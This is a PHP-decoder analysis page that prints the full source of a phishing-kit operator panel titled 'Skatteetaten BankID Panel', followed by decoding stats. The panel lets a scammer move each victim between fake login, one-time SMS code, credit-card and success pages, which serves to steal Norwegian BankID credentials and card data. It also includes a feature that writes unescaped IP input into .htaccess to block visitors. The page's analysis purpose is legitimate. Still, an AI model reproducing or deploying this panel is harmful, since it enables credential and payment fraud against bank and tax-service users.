Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function curl_get_contents($url) { $ch = curl_init(); curl_setopt..
Decoded Output download
None
Did this file decode correctly?
Original Code
<?php
function curl_get_contents($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$xeno = $_SERVER['REMOTE_ADDR'];
?>
<!doctype html>
<html>
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="noindex," "nofollow," "noimageindex," "noarchive," "nocache," "nosnippet">
<!-- CSS FILES -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="includes/control.css">
<link rel="icon" type="image/x-icon" href="includes/favicon.png" />
<title>Control Xeno</title>
</head>
<body>
<main class="site-wrapper">
<div class="pt-table desktop-768">
<div class="pt-tablecell page-home relative" style="background-color:white ;
background-position: center;
background-size: cover;">
<div class=""></div>
<div style="max-width: 960px;" class="container">
<div class="row">
<div class="">
<div class="page-title home text-center">
<center> <span style="color: black;font-family: monospace;" class="heading-page">Skatteetaten BankID Panel
</span>
</div>
<form method="post" action="index.php">
<input type="hidden" name="step" value="control">
<input type="hidden" name="ip" value="<?php echo $_GET['ip']; ?>">
<div class="">
<div class="buttons">
<button type="submit" name="to" value="log" class="btn-hover color-1">log Page</button>
<button type="submit" name="to" value="sms" class="btn-hover color-4">Engangskode</button>
<button type="submit" name="to" value="cc" class="btn-hover color-5">CC</button>
<button type="submit" name="to" value="success" class="btn-hover color-6">SUCCESS</button>
</div>
</div>
</form>
<?php
if( $_SERVER["REQUEST_METHOD"] === "POST" ){
$blocked=$_GET['ip'];
$text = trim($_POST['all_redirects']);
if($text == ""){die("invalid input");}
$textAr = explode("\n", $text);
$textAr = array_filter($textAr, 'trim');
$file = fopen('../.htaccess', 'a') or die('Fail to open .htaccess file');
foreach ($textAr as $line) {
echo "<center>This IP $blocked has been blocked</center>";
fwrite($file, $line.PHP_EOL);
}
fwrite($file, "\n");
fclose($file);
}
?>
<form action="" method="POST">
<input readonly type="hidden" name="all_redirects" value="Deny from <?php echo $_GET['ip']; ?>">
<br><br>
<button class="btn-hover color-11" type="submit" >
<span class="title">Block This IP</span>
</button>
</form>
</div>
<script>
$('button[type="button"]').click(function(){
$("#tan").hide();
$("#pin").hide();
$("#bnk").hide();
var href = $(this).attr('href');
$(href).slideToggle(100);
});
</script>
<!-- JS FILES -->
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
<script src="assets/js/script.js"></script>
<script>
$('button[type="button"]').click(function(){
$("#sms").hide();
$("#bnk").hide();
$("#pin").hide();
$("#tan").hide();
$("#errortan").hide();
$("#qrimg").hide();
var href = $(this).attr('href');
$(href).slideToggle(100);
});
</script>
</body>
<style type="text/css">
* {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.buttons {
margin: 10%;
text-align: center;
}
.btn-hover {
width: 200px;
font-size: 16px;
font-weight: 600;
color: #fff;
cursor: pointer;
margin: 20px;
height: 55px;
text-align:center;
border: none;
background-size: 300% 100%;
border-radius: 50px;
moz-transition: all .4s ease-in-out;
-o-transition: all .4s ease-in-out;
-webkit-transition: all .4s ease-in-out;
transition: all .4s ease-in-out;
}
.btn-hover:hover {
background-position: 100% 0;
moz-transition: all .4s ease-in-out;
-o-transition: all .4s ease-in-out;
-webkit-transition: all .4s ease-in-out;
transition: all .4s ease-in-out;
}
.btn-hover:focus {
outline: none;
}
.btn-hover.color-1 {
background-image: linear-gradient(to right, #25aae1, #40e495, #30dd8a, #2bb673);
box-shadow: 0 4px 15px 0 rgba(49, 196, 190, 0.75);
}
.btn-hover.color-2 {
background-image: linear-gradient(to right, #f5ce62, #e43603, #fa7199, #e85a19);
box-shadow: 0 4px 15px 0 rgba(229, 66, 10, 0.75);
}
.btn-hover.color-3 {
background-image: linear-gradient(to right, #667eea, #764ba2, #6B8DD6, #8E37D7);
box-shadow: 0 4px 15px 0 rgba(116, 79, 168, 0.75);
}
.btn-hover.color-4 {
background-image: linear-gradient(to right, #fc6076, #ff9a44, #ef9d43, #e75516);
box-shadow: 0 4px 15px 0 rgba(252, 104, 110, 0.75);
}
.btn-hover.color-5 {
background-image: linear-gradient(to right, #0ba360, #3cba92, #30dd8a, #2bb673);
box-shadow: 0 4px 15px 0 rgba(23, 168, 108, 0.75);
}
.btn-hover.color-6 {
background-image: linear-gradient(to right, #009245, #FCEE21, #00A8C5, #D9E021);
box-shadow: 0 4px 15px 0 rgba(83, 176, 57, 0.75);
}
.btn-hover.color-7 {
background-image: linear-gradient(to right, #6253e1, #852D91, #A3A1FF, #F24645);
box-shadow: 0 4px 15px 0 rgba(126, 52, 161, 0.75);
}
.btn-hover.color-8 {
background-image: linear-gradient(to right, #29323c, #485563, #2b5876, #4e4376);
box-shadow: 0 4px 15px 0 rgba(45, 54, 65, 0.75);
}
.btn-hover.color-9 {
background-image: linear-gradient(to right, #25aae1, #4481eb, #04befe, #3f86ed);
box-shadow: 0 4px 15px 0 rgba(65, 132, 234, 0.75);
}
.btn-hover.color-10 {
background-image: linear-gradient(to right, #ed6ea0, #ec8c69, #f7186a , #FBB03B);
box-shadow: 0 4px 15px 0 rgba(236, 116, 149, 0.75);
}
.btn-hover.color-11 {
background-image: linear-gradient(to right, #eb3941, #f15e64, #e14e53, #e2373f); box-shadow: 0 5px 15px rgba(242, 97, 103, .4);
}
</style>
</html>
Function Calls
trim | 1 |
explode | 1 |
array_filter | 1 |
Stats
MD5 | 8dbd0ceae7ee1056a64940a6b8bc6445 |
Eval Count | 0 |
Decode Time | 42 ms |